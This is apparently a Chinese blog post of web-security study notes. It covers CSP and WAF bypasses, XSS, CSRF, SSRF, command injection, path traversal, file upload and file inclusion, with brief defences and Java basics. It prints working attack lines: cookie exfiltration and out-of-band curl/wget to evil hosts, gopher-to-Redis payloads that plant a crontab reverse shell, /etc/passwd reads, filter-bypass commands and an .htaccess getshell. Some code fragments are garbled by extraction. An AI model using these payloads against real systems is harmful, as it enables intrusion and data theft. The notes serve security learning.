当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js

<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>

其他

  • location 绕过

  • 可上传SVG时,通过恶意SVG绕过同源站点

  • 存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析

  • CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass

  • Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request

    • jQuery sourcemap

      `document.write(` //@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);`` `
      
  • a标签的ping属性

  • For FireFox `

  • ``

    • 仅限制 script-src 时:

      ``
      

XSS数据源

URL

  • location
  • location.href
  • location.pathname
  • location.search
  • location.hash
  • document.URL
  • document.documentURI
  • document.baseURI

Navigation

  • window.name
  • document.referrer

Communication

  • Ajax
  • Fetch
  • WebSocket
  • PostMessage

Storage

  • Cookie
  • LocalStorage
  • SessionStorage

Sink

执行JavaScript

  • eval(payload)
  • setTimeout(payload, 100)
  • setInterval(payload, 100)
  • Function(payload)()
  • payload
  • ``

加载URL

  • location=javascript:alert(/xss/)
  • location.href=javascript:alert(/xss/)
  • location.assign(javascript:alert(/xss/))
  • location.replace(javascript:alert(/xss/))

执行HTML

  • xx.innerHTML=payload
  • xx.outerHTML=payload
  • document.write(payload)
  • document.writeln(payload)

XSS保护

HTML过滤

使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。

X-Frame

X-Frame-Options 响应头有三个可选的值:

    • DENY

      页面不能被嵌入到任何iframe或frame中
      
    • SAMEORIGIN

      页面只能被本站页面嵌入到iframe或者frame中
      
    • ALLOW-FROM

      页面允许frame或frame加载
      

XSS保护头

基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。

而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。

要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值

  • 0 : 表示关闭浏览器的XSS防护机制
  • 1 : 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
  • 1; mode=block : 如果检测到恶意代码,在不渲染恶意代码

FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。

WAF Bypass

  • 利用<>标记

    • 利用html属性

      hreflowsrcbgsoundbackgroundvalueactiondynsrc
      
    • 关键字

      利用回车拆分字符串拼接`window["al" + "ert"]`
      
    • 利用编码绕过

      base64jsfuckString.fromCharCodeHTMLURLhex`window["\x61\x6c\x65\x72\x74"]`unicodeutf7`+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-`utf16
      
  • 大小写混淆

  • 对标签属性值转码

  • 产生事件

  • css跨站解析

    • 长度限制bypass

      `eval(name)``eval(hash)``import``$.getScript``$.get`
      
    • .

      使用 `。` 绕过IP/域名`document['cookie']` 绕过属性取值
      
  • 过滤引号用 ` 绕过

Payload

计算机科学电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。信头元数据,或称为开销数据,仅用于辅助数据传输。
计算机病毒电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。

…………

持久化

基于存储

有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。

在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。

Service Worker

Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。

在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。

AppCache

在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。

CSRF

跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

分类

资源包含

资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制HTML标签所包含的资源的攻击者。如果攻击者能够影响URL被加载的话,包含远程资源的任何标签都可以完成攻击。

由于缺少对Cookie的源点检查,如上所述,此攻击不需要XSS,可以由任何攻击者控制的站点或站点本身执行。此类型仅限于GET请求,因为这些是浏览器对资源URL唯一的请求类型。这种类型的主要限制是它需要错误地使用安全的HTTP请求方式。

基于表单

通常在正确使用安全的请求方式时看到。攻击者创建一个想要受害者提交的表单; 其包含一个JavaScript片段,强制受害者的浏览器提交。

该表单可以完全由隐藏的元素组成,以致受害者很难发现它。

如果处理cookies不当,攻击者可以在任何站点上发动攻击,只要受害者使用有效的cookie登录,攻击就会成功。如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面。该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效。

XMLHttpRequest

XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR,许多应用花费大量的时间来构建和实现这一特定的对策。

基于XHR的CSRF通常由于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS),XHR仅限于攻击者托管自己的有效载荷的原始请求。

这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。

防御

  • 通过CSRF-token或者验证码来检测用户提交
  • 验证 Referer/Content-Type
  • 对于用户修改删除等操作最好都使用POST操作
  • 避免全站通用的Cookie,严格设置Cookie的域

SSRF

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

漏洞危害

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

利用方式

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * 注意: 链接使用单引号,避免$变量问题

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

相关危险函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。

过滤绕过

更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

比如 http://www.baidu.com@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

利用跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。

通过各种非HTTP协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容。

DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

可能的利用点

内网服务

  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行

Redis利用

  • 写ssh公钥
  • 写crontab
  • 写WebShell
  • Windows写启动项
  • 主从复制加载 .so 文件
  • 主从复制写无损文件

云主机

在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。

防御方式

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单

命令注入

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

常见危险函数

PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

Python

  • system
  • popen
  • subprocess.call
  • spawn

Java

  • java.lang.Runtime.getRuntime().exec(command)

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

无回显技巧

  • bash反弹shell

  • DNS带外数据

    • http带外

      `curl http://evil-server/$(whoami)``wget http://evil-server/$(whoami)`
      
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

常见绕过方式

空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat\(IFS2会被认为IFS2是变量名。另外,在后面加个\)可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

长度限制绕过

>wget\
>foo.\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

常用符号

命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

通配符

  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

防御

  • 不使用时禁用相应函数

  • 尽量不要执行外部的应用程序或命令

  • 做输入的格式检查

    • 转义命令中的所有shell元字符

      shell元字符包括 `#&;`,|*?~<>^()[]{}$\`
      

目录穿越

目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。

攻击载荷

URL参数

  • ../
  • ..\
  • ..;/

Nginx Off by Slash

  • https://vuln.site.com/files../

UNC Bypass

  • \\localhost\c$\windows\win.ini

过滤绕过

    • 单次替换

      `...//`
      
  • URL编码

    • 16位Unicode编码

      `\u002e`
      
    • 超长UTF-8编码

      `\%e0%40%ae`
      

防御

在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。

若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。

文件读取

考虑读取可能有敏感信息的文件

    • 用户目录下的敏感文件

      .bash_history.zsh_history.profile.bashrc.gitconfig.viminfopasswd
      
    • 应用的配置文件

      /etc/apache2/apache2.conf/etc/nginx/nginx.conf
      
    • 应用的日志文件

      /var/log/apache2/access.log/var/log/nginx/access.log
      
    • 站点目录下的敏感文件

      .svn/entries.git/HEADWEB-INF/web.xml.htaccess
      
    • 特殊的备份文件

      .swp.swo.bakindex.php~...
      
    • Python的Cache

      `__pycache__\__init__.cpython-35.pyc`
      

文件上传

文件类型检测绕过

更改请求绕过

有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type 等,这种检查同样可以通过修改网络请求绕过。

Magic检测绕过

有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

类型 二进制值
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
TIF 49 49 2A 00
BMP 42 4D

后缀绕过

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。

php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/../aa/../index.php/. 的文件

.user.ini

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。

另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。

竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

攻击技巧

Apache重写GetShell

Apache可根据是否允许重定向考虑上传.htaccess

内容为

AddType application/x-httpd-php .png
php_flag engine 1

就可以用png或者其他后缀的文件做php脚本了

软链接任意读文件

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果

防护技巧

  • 使用白名单限制上传文件的类型
  • 使用更严格的文件类型检查方式
  • 限制Web Server对上传文件夹的解析

文件包含

基础

常见的文件包含漏洞的形式为 ``

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

触发Sink

    • PHP

      include在包含过程中出错会报错,不影响执行后续语句include_once仅包含一次require在包含过程中出错,就会直接退出,不执行后续语句require_once
      

绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

伪协议绕过

  • 远程包含: 要求 allow_url_fopen=Onallow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On

协议绕过

allow_url_fopenallow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

…………

XXE,模板注入,Xpath注入,逻辑漏洞/业务漏洞,配置和策略安全,中间件,Web Cache欺骗攻击,HTTP请求走私

语言和框架

这里我比较熟悉的的Java系列,主要介绍一下Java相关的内容。

基本概念

JVM

JVM是Java平台的核心,以机器代码来实现,为程序执行提供了所需的所有基本功能,例如字节码解析器、JIT编译器、垃圾收集器等。由于它是机器代码实现的,其同样受到二进制文件受到的攻击。

JCL是JVM自带的一个标准库,含有数百个系统类。默认情况下,所有系统类都是可信任的,且拥有所有的特权。

JDK

Java开发工具包(Java Development Kit,JDK)是Oracle公司发布的Java平台,有标准版(Standard Edition,Java SE)、企业版(Enterprise Edition,Java EE)等版本。

在最开始,JDK以二进制形式发布,而后在2006年11月17日,Sun以GPL许可证发布了Java的源代码,于是之后出现了OpenJDK。

JMX

JMX(Java Management Extensions,Java管理扩展)是一个为应用程序植入管理功能的框架,主要为管理和监视应用程序、系统对象、设备和面向服务的网络提供相应的工具。JMX可以远程读取系统中的值、调用系统中的方法。在JMX未配置身份验证或JDK版本过低存在反序列化漏洞时,可能会导致远程代码执行。

JNI

JNI (Java Native Interface) 是Java提供的和其他语言交互的接口。

JNA

JNA (Java Native Access) 是在JNI上的框架,用于自动实现Java接口到native function的映射,而不需要另外编写JNI代码。

OGNL

OGNL(Object-Graph Navigation Language,对象导航语言)是一种功能强大的表达式语言,通过简单一致的表达式语法,提供了存取对象的任意属性、调用对象的方法、遍历整个对象的结构图、实现字段类型转化等功能。

Struts2中使用了OGNL,提供了一个ValueStack类。ValueStack分为root和context两部分。root中是当前的action对象,context中是ActionContext里面所有的内容。

IO模型

Java 对操作系统的各种 IO 模型进行了封装,形成了不同的API。

BIO

BIO (Blocking I/O) 是同步阻塞I/O模式,数据的读取写入必须阻塞在一个线程内等待其完成。

NIO

NIO (New I/O) 是一种同步非阻塞的I/O模型,在Java 1.4中引入,对应 java.nio 包,提供了 Channel , Selector,Buffer等抽象。

AIO

AIO (Asynchronous I/O) 在 Java 7 中引入,是NIO的改进版,是异步非阻塞的IO模型,基于事件和回调机制实现。

反射

Java反射机制是指在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能被称为语言的反射机制。

类名 用途
Class 类的实体
Field 类的成员变量
Method 类的方法
Constructor 类的构造方法

生命周期

整体来说,Java中类的生命周期如下:加载 (Loading) -> [ 连接 (Linking) : 验证 (Verification) -> 准备 (Perparation) -> 解析 (Resolutin) ] -> 初始化 (Initialization) -> 使用 (Using) -> 卸载 (Unloading) 。

加载过程分为三步:

  • 通过全限定类名来获取定义此类的二进制字节流
  • 将字节流所代表的静态存储结构转化为方法区的运行时数据结构
  • 在内存中生成代表这个类的 java.lang.Class 对象,作为方法区这个类的各种数据的访问入口

验证阶段主要用于确保 Class 文件的字节流符合当前虚拟机的要求,分为几步:

  • 判断文件格式:是否以 0xCAFEBABE 开始,主次版本号是否在处理范围内

  • 元数据验证

  • 字节码验证

  • 符号引用验证

  • -Xverify:none 关闭类加载时的验证措施

我会加油更新的!

参考链接

posted @ 2021-12-10 14:15  Ricardo_ML  阅读(161)  评论(0编辑  收藏  举报